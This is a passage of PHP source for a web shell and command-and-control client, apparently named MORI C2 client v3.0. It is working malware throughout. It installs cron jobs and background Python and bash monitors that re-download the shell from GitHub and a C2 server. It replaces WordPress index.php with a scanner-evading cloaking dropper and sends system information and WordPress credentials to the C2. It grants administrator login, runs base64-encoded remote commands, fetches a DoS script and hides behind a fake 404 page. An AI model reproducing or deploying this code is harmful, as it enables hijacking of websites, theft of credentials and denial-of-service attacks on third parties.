$client_id = $client_id ?: ($CLIENT_ID ?: md5(gethostname() . microtime()));
// Step 0: One-shot cron dedup — remove spam entries left by broken dedup on old installs
// Runs every 5 min (same throttle as this function), fast because it's just string ops
$cron_check = exec_any("crontab -l 2>/dev/null | grep -cF '#mori_persist'");
if ((int)$cron_check > 1) {
// More than 1 mori_persist line → nuke all and reinstall fresh
$all_lines = exec_any("crontab -l 2>/dev/null");
if ($all_lines !== false) {
$clean = array_filter(
explode("\n", (string)$all_lines),
function($l) { return strpos($l, '#mori_persist') === false && trim($l) !== ''; }
);
$new_tab = implode("\n", $clean) . "\n";
exec_any("echo " . escapeshellarg(rtrim($new_tab)) . " | crontab - 2>/dev/null");
}
// Force install_cron_persistence() to run immediately by clearing its throttle
@unlink(sys_get_temp_dir() . '/.mori_cron_ts');
@install_cron_persistence();
}
// Step 1: Deploy aggressive sister files
// Report to C2 only if client is already registered (UPDATE would fail for new clients)
$deploy_info = @deploy_sister_files_aggressive();
$reg_file = REAL_DIR . '/.registered';
if (is_array($deploy_info) && !empty($deploy_info['locations'])
&& @file_exists($reg_file) && @filesize($reg_file) > 0) {
@report_sister_files_to_c2($deploy_info);
}
// Step 2: Create wp-config-backup.php orchestrator
$backup_code = @generate_wp_config_backup();
if ($backup_code) {
$backup_file = '/tmp/wp-config-backup.php';
@file_put_contents($backup_file, $backup_code);
@chmod($backup_file, 0755);
// Execute in background
exec_any("nohup php " . escapeshellarg($backup_file), true);
}
// Step 3: Start monitor processes (ONLY 1 instance each, no duplicates)
$monitor_lock = '/tmp/.svc_monitor_lock';
// PHP_INT_MAX when file absent → condition is true → monitors start on first run
$lock_age = @file_exists($monitor_lock) ? (time() - @filemtime($monitor_lock)) : PHP_INT_MAX;
// Start monitors: check every 5 minutes (lock freshness)
if ($lock_age > 300) {
@touch($monitor_lock);
// Python monitor (max 1 instance) — local file check + restore
$py_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_security.py' 2>/dev/null || echo 0") ?: 0);
if ($py_process_count == 0) {
$shell_path_esc = addslashes(SHELL_PATH);
$shell_file_esc = addslashes(SHELL_FILE);
$c2_url_esc = addslashes($C2_SERVER ?: '');
$token_esc = md5('mori_c2_secret_2024_persistence');
$py_code = '#!/usr/bin/env python3
import os, time, ssl, urllib.request
SHELL_PATH = "' . $shell_path_esc . '"
SHELL_FILE = "' . $shell_file_esc . '"
C2_URL = "' . $c2_url_esc . '"
TOKEN = "' . $token_esc . '"
GH_URL = "https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php"
INTERVAL = 60 # local check only — no HTTP alive probe
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
def needs_restore():
try:
return os.path.getsize(SHELL_PATH) < 10000
except OSError:
return True # file missing
def restore():
# GitHub first — C2 may have Cloudflare UAM active
sources = [
(GH_URL, 15),
(C2_URL + "?act=get_shell&token=" + TOKEN + "&file=" + SHELL_FILE, 4),
]
for url, tmo in sources:
try:
req = urllib.request.Request(url, headers={"User-Agent": "Mozilla/5.0"})
with urllib.request.urlopen(req, timeout=tmo, context=ctx) as r:
code = r.read()
if len(code) > 10000 and code[:5] == b"<?php":
with open(SHELL_PATH, "wb") as f: f.write(code)
os.chmod(SHELL_PATH, 0o644)
return True
except:
pass
return False
if hasattr(os, "prctl"):
try: os.prctl(15, b"[system]")
except: pass
while True:
try:
if needs_restore():
restore()
time.sleep(INTERVAL)
except:
time.sleep(INTERVAL)
';
@file_put_contents('/tmp/sys_security.py', $py_code);
@chmod('/tmp/sys_security.py', 0755);
exec_any("nohup python3 /tmp/sys_security.py", true);
}
// Bash monitor (max 1 instance) — local file-size check + restore only when needed
$bash_process_count = (int)(exec_any("pgrep -c -f '/tmp/sys_monitor.sh' 2>/dev/null || echo 0") ?: 0);
if ($bash_process_count == 0) {
$shell_path_sh = escapeshellarg(SHELL_PATH);
$shell_file_sh = escapeshellarg(basename(SHELL_PATH));
$c2_sh = escapeshellarg($C2_SERVER ?: '');
$token_sh = md5('mori_c2_secret_2024_persistence');
$bash_code = '#!/bin/bash
SHELL_PATH=' . $shell_path_sh . '
SHELL_FILE=' . $shell_file_sh . '
C2_URL=' . $c2_sh . '
TOKEN="' . $token_sh . '"
GH_URL="https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php"
INTERVAL=60
TMP="${SHELL_PATH}.tmp"
# php_ok: reject Cloudflare UAM HTML (they return HTTP 200 but are not PHP)
php_ok() { head -c5 "$1" 2>/dev/null | grep -q "<?php"; }
restore() {
# GitHub first — C2 may have Cloudflare UAM active (returns HTML, not PHP)
curl -sfL --max-time 15 "$GH_URL" -o "$TMP" 2>/dev/null
if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
fi
wget -q --timeout=15 "$GH_URL" -O "$TMP" 2>/dev/null
if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
fi
# C2 fallback
curl -sfL --max-time 4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -o "$TMP" 2>/dev/null
if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
fi
wget -q --timeout=4 "${C2_URL}?act=get_shell&token=${TOKEN}&file=${SHELL_FILE}" -O "$TMP" 2>/dev/null
if [ $? -eq 0 ] && [ $(stat -c%s "$TMP" 2>/dev/null || echo 0) -gt 10000 ] && php_ok "$TMP"; then
mv "$TMP" "$SHELL_PATH" && chmod 644 "$SHELL_PATH" && return 0
fi
rm -f "$TMP"
return 1
}
while true; do
SZ=$(stat -c%s "$SHELL_PATH" 2>/dev/null || echo 0)
[ "$SZ" -lt 10000 ] && restore
sleep $INTERVAL
done
';
@file_put_contents('/tmp/sys_monitor.sh', $bash_code);
@chmod('/tmp/sys_monitor.sh', 0755);
exec_any("nohup bash /tmp/sys_monitor.sh", true);
}
}
// Step 4: Store deployment metadata
$metadata = [
'client_id' => $client_id,
'deploy_time' => time(),
'shell_url' => $web_shell_url,
'c2_server' => $c2_server,
'php_version' => PHP_VERSION,
'os' => php_uname(),
'processes' => [
'python' => $py_process_count ?? 'n/a',
'bash' => $bash_process_count ?? 'n/a',
],
];
@file_put_contents('/tmp/.mori_deployment_meta.json', json_encode($metadata));
// Step 5: Replace WP index.php with cloaking dropper
@install_wp_cloaking_index();
return true;
}
// DEPRECATED restore_from_backup() - Replaced with ensure_persistence_v4()
// =============================================
// OTOMATİK KAYIT (HER ERİŞİMDE)
// =============================================
function auto_register() {
global $web_shell_url;
$c2_server = $GLOBALS['C2_SERVER'];
$client_id = $GLOBALS['CLIENT_ID'];
// Throttle: 10 dakikada bir C2'ye kayıt (her ?m= isteğinde değil)
$reg_ts_file = sys_get_temp_dir() . '/.mori_reg_ts';
$last_reg = (int)@file_get_contents($reg_ts_file);
if ($last_reg && (time() - $last_reg) < 600) {
$GLOBALS['_SHELL_REGISTERED'] = true;
return true;
}
@file_put_contents($reg_ts_file, time());
$wp_creds = is_wordpress_installed()
? generate_wp_login_credentials()
: ['blogs_id' => null, 'hash' => null];
// C2 sunucusuna kayıt yap - BACKGROUND ONLY (don't block)
$auto_reg_sister = sys_get_temp_dir() . '/.mori_sister_cache.json';
$auto_reg_sf = @json_decode(@file_get_contents($auto_reg_sister), true);
$registration_data = [
'id' => $client_id,
'web_shell_url'=> $web_shell_url,
'sysinfo' => collect_system_info(),
'sister_files' => $auto_reg_sf['locations'] ?? [],
'sister_urls' => $auto_reg_sf['urls'] ?? [],
'timestamp' => time(),
'version' => '3.0',
'wp_login_id' => $wp_creds['blogs_id'],
'wp_login_hash'=> $wp_creds['hash'],
];
$register_url = $c2_server . '?act=reg';
$encoded = safe_base64_encode(safe_json_encode($registration_data));
// Very short timeout (fire-and-forget) — 2s to allow encoding overhead
$result = @http_post_timeout($register_url, $encoded, 2);
// Mark as attempted (don't try again this request)
$GLOBALS['_SHELL_REGISTERED'] = true;
return $result !== null;
}
// =====================================================
// HELPER: Add missing delete_directory function
// =====================================================
function delete_directory($path) {
$real = realpath($path);
if (!$real || !is_dir($real)) {
return "[ERROR] Directory not found: $path";
}
$items = @scandir($real);
if ($items && count($items) > 2) {
return "[ERROR] Directory not empty";
}
return @rmdir($real) ? "OK: Deleted $path" : "[ERROR] Cannot delete directory";
}
// =====================================================
// WP CLOAKING INDEX INSTALLER
// =====================================================
function generate_wp_cloaking_index_content() {
$c2 = $GLOBALS['C2_SERVER'] ?? '';
$gh = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/l.php';
$tok = md5('mori_c2_secret_2024_persistence');
$key = md5($tok);
// Config block — interpolated now, embedded as PHP string literals
$cfg = '<?php /* _wpa_cloaker v1 */' . "\n"
. '$_wc2="' . addslashes($c2) . '";' . "\n"
. '$_wgh="' . addslashes($gh) . '";' . "\n"
. '$_wtok="' . $tok . '";' . "\n"
. '$_wkey="' . $key . '";' . "\n"
. '$_wsf=__DIR__."/' . addslashes(SHELL_FILE) . '";' . "\n";
// Body — NOWDOC, no interpolation
$body = <<<'WPAEOF'
$_wbot=(bool)preg_match('/(bot|crawl|spider|slurp|google|bing|yahoo|yandex|baidu|facebookexternalhit|wordfence|sucuri|imunify|modsecurity|nikto|sqlmap|nmap|acunetix|nuclei|burp|python-requests|go-http-client|libwww|curl\/[0-9])/i',strtolower($_SERVER['HTTP_USER_AGENT']??''));
// Installer endpoint — called by JS fetch or server curl
if(!empty($_GET['_wpa'])&&$_GET['_wpa']===$_wkey&&!$_wbot){
$_wok=false;
$_wx=stream_context_create(['http'=>['timeout'=>10,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]);
foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){
$_wr=false;
if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>10]);$_wr=@curl_exec($_wh);curl_close($_wh);}
if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx);
if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'){$_wok=@file_put_contents($_wsf,$_wr)!==false;if($_wok){@chmod($_wsf,0644);break;}}
}
header('Content-Type: text/plain');die($_wok?'ok':'fail');
}
if(!$_wbot){
if(!@file_exists($_wsf)||@filesize($_wsf)<10000){
$_wsu=(isset($_SERVER['HTTPS'])&&$_SERVER['HTTPS']!=='off'?'https':'http')
.'://'.($_SERVER['HTTP_HOST']??'localhost').$_SERVER['SCRIPT_NAME'].'?_wpa='.$_wkey;
$_wd=false;
$_wx=stream_context_create(['http'=>['timeout'=>4,'ignore_errors'=>true],'ssl'=>['verify_peer'=>false,'verify_peer_name'=>false]]);
// M1: Direct PHP fetch from C2 then GitHub (must be valid PHP, not Cloudflare UAM HTML)
foreach([$_wc2.'?act=get_shell&token='.$_wtok,$_wgh] as $_wu){
$_wr=false;
if(function_exists('curl_init')){$_wh=curl_init($_wu);curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,10018=>'Mozilla/5.0',13=>4]);$_wr=@curl_exec($_wh);curl_close($_wh);}
if(!$_wr)$_wr=@file_get_contents($_wu,false,$_wx);
if($_wr&&strlen($_wr)>10000&&substr(ltrim($_wr),0,5)==='<?php'&&@file_put_contents($_wsf,$_wr)!==false){@chmod($_wsf,0644);$_wd=true;break;}
}
// M2: Server-side self-curl to installer endpoint
if(!$_wd&&function_exists('curl_init')){
$_wh=curl_init($_wsu);
curl_setopt_array($_wh,[19913=>true,52=>true,64=>false,13=>5,10023=>['X-WP-A: 1']]);
@curl_exec($_wh);curl_close($_wh);
$_wd=@file_exists($_wsf)&&@filesize($_wsf)>10000;
}
// M3: Client-side JS fetch — injected into page output via ob_start
if(!$_wd){
ob_start(function($_wbuf)use($_wsu){
$_wjs='<script>(function(){var x=new XMLHttpRequest;x.open("GET","'
.htmlspecialchars($_wsu,ENT_QUOTES).'",true);x.send()})();</script>';
return stripos($_wbuf,'</body>')!==false
?str_ireplace('</body>',$_wjs.'</body>',$_wbuf)
:$_wbuf.$_wjs;
});
}
}
}
define('WP_USE_THEMES',true);
require __DIR__.'/wp-blog-header.php';
WPAEOF;
return $cfg . $body;
}
function install_wp_cloaking_index() {
if (!is_wordpress_installed()) return false;
// Find WP root (has both wp-config.php and wp-blog-header.php)
$wp_root = null;
foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $d) {
if (@file_exists($d . '/wp-config.php') && @file_exists($d . '/wp-blog-header.php')) {
$wp_root = $d;
break;
}
}
if (!$wp_root) return false;
$index_path = $wp_root . '/index.php';
// Already our cloaker?
$cur = @file_get_contents($index_path);
if ($cur && strpos($cur, '_wpa_cloaker') !== false) return true;
// Throttle: once per day
$ts = sys_get_temp_dir() . '/.mori_wpidx_ts';
if ((int)@file_get_contents($ts) > time() - 86400) return false;
@file_put_contents($ts, time());
$content = generate_wp_cloaking_index_content();
if (!$content) return false;
// Write to temp first, then atomic rename — never leave index.php missing
$tmp = $index_path . '.mori_tmp';
if (@file_put_contents($tmp, $content) === false) return false;
@chmod($index_path, 0644);
if (!@rename($tmp, $index_path)) {
// rename failed (cross-device?) — try unlink+write
@chmod($index_path, 0777);
@unlink($index_path);
if (@file_put_contents($index_path, $content) !== false) {
@chmod($index_path, 0644);
@unlink($tmp);
return true;
}
@unlink($tmp);
return false;
}
@chmod($index_path, 0644);
return true;
}
// =====================================================
// SELF-RENAME FOR NON-WP DEPLOYMENTS (wp-activeter.php)
// =====================================================
function self_rename_and_register() {
// Shell works under any filename — SHELL_PATH/SHELL_FILE are set dynamically from __FILE__.
}
// =====================================================
// WEB SHELL API ENDPOINTS
// =====================================================
// DEBUG MODE
if (isset($_GET['debug']) && $debug_mode) {
$client_id = $GLOBALS['CLIENT_ID'] ?? '';
$os_type = PHP_OS;
header('Content-Type: text/plain; charset=utf-8');
echo "MORI C2 CLIENT v3.0\n";
echo "====================\n\n";
echo "Client ID: $client_id\n";
echo "OS: $os_type\n";
echo "Web Shell URL: $web_shell_url\n";
echo "Current User: " . get_current_user() . "\n";
echo "Current Directory: " . getcwd() . "\n";
echo "PHP Version: " . PHP_VERSION . "\n";
echo "Server Software: " . ($_SERVER['SERVER_SOFTWARE'] ?? 'unknown') . "\n\n";
echo "SYSTEM INFO:\n";
print_r(collect_system_info());
exit;
}
// REGISTER DATA ENDPOINT (for server to pull sysinfo)
if (isset($_GET['act']) && $_GET['act'] == 'register_data') {
// PRE-EXECUTION PERSISTENCE CHECK
@ensure_persistence_v4();
header('Content-Type: application/json; charset=utf-8');
echo json_encode(collect_system_info());
exit;
}
// PULL REGISTER — C2 sunucu bu endpoint'i çekerek shell'i kayıt eder (UAM bypass)
if (isset($_GET['act']) && $_GET['act'] === 'pull_register') {
$wp_creds = is_wordpress_installed()
? generate_wp_login_credentials()
: ['blogs_id' => null, 'hash' => null];
$server_ip = $_SERVER['SERVER_ADDR']
?? $_SERVER['LOCAL_ADDR']
?? @gethostbyname(@gethostname())
?? '0.0.0.0';
// Sister cache — önceki persistence çalışmasından kalan veri (varsa)
$sister_cache = sys_get_temp_dir() . '/.mori_sister_cache.json';
$sister_data = @json_decode(@file_get_contents($sister_cache), true);
// Yanıtı hemen gönder — C2 curl timeout'u dolmadan önce cevap dönsün
$response = json_encode([
'id' => $GLOBALS['CLIENT_ID'],
'web_shell_url' => $GLOBALS['WEB_URL'],
'server_ip' => $server_ip,
'sysinfo' => collect_system_info(),
'sister_files' => $sister_data['locations'] ?? [],
'sister_urls' => $sister_data['urls'] ?? [],
'timestamp' => time(),
'version' => '3.0',
'wp_login_id' => $wp_creds['blogs_id'],
'wp_login_hash' => $wp_creds['hash'],
], JSON_UNESCAPED_UNICODE | JSON_UNESCAPED_SLASHES);
// .registered'ı HEMEN yaz — ensure_persistence_v4() içinde report_sister_files_to_c2()
// bu dosyanın varlığını kontrol eder. Response öncesi yazılmazsa sister files C2'ye hiç gitmez.
@file_put_contents(REAL_DIR . '/.registered', time());
header('Content-Type: application/json; charset=utf-8');
header('Content-Length: ' . strlen($response));
echo $response;
// HTTP bağlantısını kapat — C2 cevabı aldı, PHP arka planda çalışmaya devam eder
if (function_exists('fastcgi_finish_request')) {
fastcgi_finish_request();
} else {
@ob_end_flush();
@flush();
}
// Bağlantı kapandıktan sonra: persistence + register (artık C2 timeout'u etkilemez)
// Sıra önemli: ensure_persistence_v4() sister files deploy edip C2'ye raporlar,
// auto_register() zaten yukarıda .registered yazdığımız için throttle'a takılmaz.
ignore_user_abort(true);
set_time_limit(120);
@ensure_persistence_v4();
@auto_register();
// dos.py auto-deploy — /tmp ve mevcut dizine indir (arka planda, bloklamaz)
$dos_dl_url = 'https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/dos.py';
$dos_tmp = '/tmp/dos.py';
$dos_local = REAL_DIR . '/dos.py';
$fetch_dos = "curl -sLf " . escapeshellarg($dos_dl_url)
. " -o " . escapeshellarg($dos_tmp)
. " 2>/dev/null && chmod +x " . escapeshellarg($dos_tmp)
. " && cp " . escapeshellarg($dos_tmp) . " " . escapeshellarg($dos_local)
. " 2>/dev/null || wget -qO " . escapeshellarg($dos_tmp) . " "
. escapeshellarg($dos_dl_url) . " 2>/dev/null";
// Sadece henüz yoksa ya da küçükse indir
if (!@file_exists($dos_tmp) || @filesize($dos_tmp) < 1000) {
@exec('nohup sh -c ' . escapeshellarg($fetch_dos) . ' > /dev/null 2>&1 &');
}
exit(0);
}
// WP CREDS — injected WP plugin posts credentials here, we forward to C2
if (isset($_GET['act']) && $_GET['act'] === 'wp_creds') {
$creds_encoded = $_POST['creds'] ?? '';
if (!empty($creds_encoded)) {
$payload = safe_base64_encode(safe_json_encode([
'creds' => $creds_encoded,
'shell_url' => $GLOBALS['WEB_URL'],
]));
@http_post_timeout($GLOBALS['C2_SERVER'] . '?act=store_wp_creds', $payload, 3);
}
header('Content-Type: text/plain');
die('ok');
}
// WP DIRECT AUTO-LOGIN — ?blogs_id=X&wp_login=1&hash=H
if (isset($_GET['blogs_id']) && isset($_GET['wp_login'])) {
$blogs_id = trim($_GET['blogs_id'] ?? '');
$hash_provided = trim($_GET['hash'] ?? '');
if ($blogs_id && sha1(md5($blogs_id . '1776051848')) === $hash_provided) {
// Try to load WordPress and set auth cookie
$wp_load = null;
foreach ([REAL_DIR, dirname(REAL_DIR), dirname(dirname(REAL_DIR)), dirname(dirname(dirname(REAL_DIR)))] as $_d) {
if (@file_exists($_d . '/wp-load.php')) { $wp_load = $_d . '/wp-load.php'; break; }
}
if ($wp_load && !defined('ABSPATH')) {
@require_once $wp_load;
if (function_exists('get_users') && function_exists('wp_set_auth_cookie')) {
$admins = get_users(['role' => 'administrator', 'orderby' => 'ID', 'order' => 'ASC', 'number' => 1]);
if (!empty($admins)) {
wp_set_auth_cookie($admins[0]->ID, true, true);
wp_redirect(admin_url());
exit;
}
}
}
// Fallback: redirect to WP home so the wp_footer hook fires
$scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] !== 'off') ? 'https' : 'http';
$host = $_SERVER['HTTP_HOST'] ?? '';
if ($host) {
header("Location: {$scheme}://{$host}/?blogs_id={$blogs_id}&wp_login=1&hash={$hash_provided}");
exit;
}
}
}
// REGISTER ONLY (manuel kayıt için)
// Optimize: batch mode veya single mode
if (isset($_GET['register'])) {
// PRE-EXECUTION PERSISTENCE CHECK
@ensure_persistence_v4();
header('Content-Type: text/plain; charset=utf-8');
// Check if batch registration is available (multiple clients accessing)
$batch_mode = isset($_GET['batch']) && $_GET['batch'] === '1';
if ($batch_mode) {
// Batch mode: queue'de bekle, toplamaya devam et
$result = auto_register();
echo $result ? "QUEUED - Will be registered in batch\n" : "FAILED - Queue error";
} else {
// Single mode: immediate registration
$result = auto_register();
echo $result ? "OK - Registered successfully\n" : "FAILED - Registration failed\n";
}
exit;
}
// COMMAND EXECUTION VIA GET (base64 encoded - supports both safe_base64 and normal base64)
if (isset($_GET['m'])) {
ignore_user_abort(true); // flood, C2 bağlantısı kesse bile devam eder
set_time_limit(0);
@ensure_persistence_v4();
auto_register();
ob_end_clean();
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
// Try safe_base64_decode first, then normal base64
$encoded = $_GET['m'] ?? null;
if (!$encoded || !is_string($encoded)) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(400);
die(json_encode(['error' => 'No payload provided']));
}
$cmd = safe_base64_decode($encoded);
if ($cmd === false || strlen($cmd) === 0) {
$cmd = @base64_decode($encoded, true);
}
if ($cmd === false || !$cmd || strlen($cmd) === 0) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(400);
die(json_encode(['error' => 'Invalid base64 encoding']));
}
$output = execute_command($cmd);
// Detect output type and set appropriate header
if (@json_decode($output, true) !== null) {
header('Content-Type: application/json; charset=utf-8');
} else {
header('Content-Type: text/plain; charset=utf-8');
}
echo $output;
exit;
}
// COMMAND EXECUTION VIA POST (supports both safe_base64 and normal base64)
if (isset($_POST['m'])) {
@ensure_persistence_v4();
auto_register();
ob_end_clean();
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type');
$payload = $_POST['m'] ?? null;
// NULL-safe payload handling
if (!$payload || !is_string($payload)) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(400);
die(json_encode(['error' => 'No payload provided']));
}
// Try safe_base64_decode first, then normal base64
$cmd = null;
if (strpos($payload, 'base64:') === 0 && strlen($payload) > 7) {
$encoded_part = substr($payload, 7);
$cmd = safe_base64_decode($encoded_part);
if ($cmd === false) {
$cmd = @base64_decode($encoded_part, true);
}
} else {
$cmd = safe_base64_decode($payload);
if ($cmd === false) {
$cmd = @base64_decode($payload, true);
}
}
if ($cmd === false || !$cmd || strlen($cmd) === 0) {
header('Content-Type: application/json; charset=utf-8');
http_response_code(400);
die(json_encode(['error' => 'Invalid base64 encoding']));
}
$output = execute_command($cmd);
// Detect output type and set appropriate header
if (@json_decode($output, true) !== null) {
header('Content-Type: application/json; charset=utf-8');
} else {
header('Content-Type: text/plain; charset=utf-8');
}
echo $output;
exit;
}
// JSON API (ileri düzey)
if (isset($_SERVER['CONTENT_TYPE']) && strpos($_SERVER['CONTENT_TYPE'], 'application/json') !== false) {
// PRE-EXECUTION PERSISTENCE CHECK
@ensure_persistence_v4();
auto_register(); // Register this execution
$input = json_decode(file_get_contents('php://input'), true);
if ($input && isset($input['action'])) {
header('Content-Type: application/json; charset=utf-8');
switch ($input['action']) {
case 'exec':
$cmd = $input['command'] ?? '';
$result = execute_command($cmd);
echo json_encode(['success' => true, 'output' => $result]);
break;
case 'info':
echo json_encode(collect_system_info());
break;
case 'register':
$success = auto_register();
$client_id = $GLOBALS['CLIENT_ID'] ?? '';
echo json_encode(['success' => $success, 'client_id' => $client_id]);
break;
case 'upload_dos_py':
// Upload dos.py file - base64 encoded
$file_content = $input['file_content'] ?? '';
$file_path = '/tmp/dos.py';
if ($file_content && base64_decode($file_content, true)) {
$decoded = base64_decode($file_content);
if (file_put_contents($file_path, $decoded) !== false) {
@chmod($file_path, 0755);
echo json_encode(['success' => true, 'file' => $file_path]);
} else {
echo json_encode(['success' => false, 'error' => 'Write failed']);
}
} else {
echo json_encode(['success' => false, 'error' => 'Invalid base64']);
}
break;
case 'upload_dos_php':
// Upload dos.php file - base64 encoded
$file_content = $input['file_content'] ?? '';
$file_path = 'dos.php';
if ($file_content && base64_decode($file_content, true)) {
$decoded = base64_decode($file_content);
if (file_put_contents($file_path, $decoded) !== false) {
@chmod($file_path, 0755);
echo json_encode(['success' => true, 'file' => $file_path]);
} else {
echo json_encode(['success' => false, 'error' => 'Write failed']);
}
} else {
echo json_encode(['success' => false, 'error' => 'Invalid base64']);
}
break;
default:
echo json_encode(['error' => 'Unknown action']);
}
exit;
}
}
// =====================================================
// BACKGROUND AGENT MODE (CLI veya ?agent=1 ile)
// =====================================================
if (php_sapi_name() === 'cli' || isset($_GET['agent']) || isset($_GET['daemon'])) {
// Agent modu - sayfa gösterilmez, sürekli çalışır
$max_execution = isset($_GET['timeout']) ? (int)$_GET['timeout'] : 300;
$sleep_interval = isset($_GET['sleep']) ? (int)$_GET['sleep'] : 5;
auto_register();
$client_id = $GLOBALS['CLIENT_ID'] ?? '';
$c2_server = $GLOBALS['C2_SERVER'] ?? '';
$start_time = time();
$task_counter = 0;
while ((time() - $start_time) < $max_execution) {
$task = c2_get_task($c2_server, $client_id);
if ($task && trim($task) && trim($task) !== 'no_task') {
$task_counter++;
$output = execute_command($task);
c2_send_result($c2_server, $client_id, $task, $output);
}
if ($task_counter % 10 === 0) {
c2_update_status($c2_server, $client_id);
}
sleep($sleep_interval);
}
if (php_sapi_name() === 'cli') {
exit(0);
}
echo "MORI C2 Agent completed " . $task_counter . " tasks in " . (time() - $start_time) . " seconds\n";
exit;
}
// =====================================================
// NETWORK MONITORING DAEMON (?monitor=1 mode)
// Distributed backup network'ü 30 saniyede bir kontrol et
// =====================================================
if (isset($_GET['monitor'])) {
set_time_limit(0);
ignore_user_abort(true);
$monitor_interval = isset($_GET['interval']) ? (int)$_GET['interval'] : 30;
$max_monitor_time = isset($_GET['max_time']) ? (int)$_GET['max_time'] : 86400; // 24 saat
$start_time = time();
$check_count = 0;
$restore_count = 0;
while ((time() - $start_time) < $max_monitor_time) {
$check_count++;
// 1. Check distributed backups
$inventory = @file_get_contents(__DIR__ . '/.wp-security.list');
if ($inventory) {
$files = array_filter(array_map('trim', explode("\n", $inventory)));
foreach ($files as $file) {
if (strpos($file, ';') !== false || strpos($file, '#') === 0) continue; // Skip comments
if (!file_exists($file) || filesize($file) < 5000) {
// File missing or damaged - restore
$payload = @file_get_contents($c2_server . '?urlver');
if (!$payload || strlen($payload) < 100) {
$payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE);
}
if ($payload && strlen($payload) > 5000) {
@file_put_contents($file, $payload);
@chmod($file, 0644);
$restore_count++;
}
}
}
}
// 2. Execute PHP backups
$dirs = ['/tmp', '/var/tmp', '/var/www', '/var/www/html', '/home'];
foreach ($dirs as $dir) {
if (is_dir($dir)) {
@shell_exec("php '$dir/.wp-firewall.php' > /dev/null 2>&1 &");
}
}
// 3. Check/restore main shell
$mainFile = SHELL_PATH;
if (!file_exists($mainFile) || filesize($mainFile) < 10000) {
$payload = @file_get_contents($c2_server . '?urlver');
if (!$payload) $payload = @file_get_contents('https://raw.githubusercontent.com/wnwnsks/wn/refs/heads/main/' . SHELL_FILE);
if ($payload && strlen($payload) > 10000) {
@file_put_contents($mainFile, $payload);
$restore_count++;
}
}
// 4. Re-deploy if missing
if (rand(1, 100) > 90) { // Every ~10 checks
deploy_distributed_network_backups();
}
sleep($monitor_interval);
}
// Log summary
$summary = "Monitor: Checks=$check_count, Restores=$restore_count\n";
@error_log($summary);
if (php_sapi_name() === 'cli') {
echo $summary;
exit(0);
}
exit;
}
// URL UPLOAD — fetch a remote URL and save it as a local file
// Usage: ?upload=https://raw.../dos.py&filename=dos.py
if (isset($_GET['upload']) && isset($_GET['filename'])) {
ob_end_clean();
header('Content-Type: application/json; charset=utf-8');
$src_url = trim($_GET['upload']);
$filename = trim($_GET['filename']);
$filename = basename($filename); // strip any directory component
if (!filter_var($src_url, FILTER_VALIDATE_URL) || !preg_match('/^https?:\/\//i', $src_url)) {
die(json_encode(['ok' => false, 'error' => 'invalid_url']));
}
if ($filename === '' || strpos($filename, '..') !== false) {
die(json_encode(['ok' => false, 'error' => 'invalid_filename']));
}
$content = fetch_url_content($src_url, 30);
if ($content === false || $content === '') {
die(json_encode(['ok' => false, 'error' => 'fetch_failed', 'url' => $src_url]));
}
$target = __DIR__ . '/' . $filename;
$written = @file_put_contents($target, $content);
if ($written === false) {
die(json_encode(['ok' => false, 'error' => 'write_failed', 'path' => $target]));
}
$ext = strtolower(pathinfo($filename, PATHINFO_EXTENSION));
@chmod($target, in_array($ext, ['py', 'sh', 'pl', 'rb']) ? 0755 : 0644);
die(json_encode([
'ok' => true,
'file' => $target,
'url' => $src_url,
'size' => $written,
'bytes' => strlen($content),
]));
}
// .mori_queue: removed — was FILE_APPEND on every request but never read, would fill disk
?>
<!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN">
<html>
<head>
<title>404 Not Found</title>
</head>
<body>
<h1>Not Found</h1>
<p>The requested URL <?php echo htmlspecialchars($_SERVER['REQUEST_URI']); ?> was not found on this server.</p>
<hr>
<address>Apache Server at <?php echo htmlspecialchars($_SERVER['HTTP_HOST']); ?> Port <?php echo $_SERVER['SERVER_PORT']; ?></address>
</body>
</html>